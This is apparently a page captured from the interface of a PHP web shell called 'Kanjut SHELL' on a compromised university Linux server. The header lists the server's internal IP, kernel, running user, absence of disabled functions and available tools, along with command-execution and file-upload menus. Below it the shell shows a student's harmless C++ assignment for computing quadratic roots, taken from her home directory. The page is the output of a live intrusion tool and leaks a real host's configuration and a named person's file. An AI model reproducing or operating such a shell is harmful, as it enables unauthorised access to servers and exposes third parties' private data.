Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.183.21
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/jcwhiley/assignment4a.cpp
//
// CS112 CS 1 Assignment 4 (i)
// Due: Monday, October 25, 2010
//
// File Name: assignment4a.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ assignment4a.cpp
// Run: ./a.out
//
// Goal: The program will read three integers and output their root(s) to
//       one decimal place. The program will loop to allow user run the program
//       multiple times.
//

#include <iostream>
#include <cmath>
#include <iomanip>

using namespace std;

int main()
{
	char letter;
	int a, b, c;
	float i, j;

	cout << "Do you wish to run? (y=yes , q=quit): ";
	cin >> letter;

	cout << fixed << showpoint << setprecision(1) << endl;

	while(letter != 'q')
	{
		
		cout << "Input three integers: " << "\n";
        	cin >> a >> b >> c;
        	float disc = b * b - 4.0 * a * c;

		if ( disc > 0 )
		{
			i = (-b + sqrt( disc )) / (2.0 * a);
			j = (-b - sqrt( disc )) / (2.0 * a);
			cout << "The roots are: " << i << "\t" <<  j << endl;
		}

		else if ( disc == 0 )
		{	
			i = (-b + sqrt( disc )) / (2.0 * a);
			cout << "The root is: " << i << endl;
		}
		else
			cout << "There is no root. \n";

		cout << "Continue? (y=yes , q=quit): ";
		cin >> letter;
	}

	return 0;
}

Stv3n404 - 2023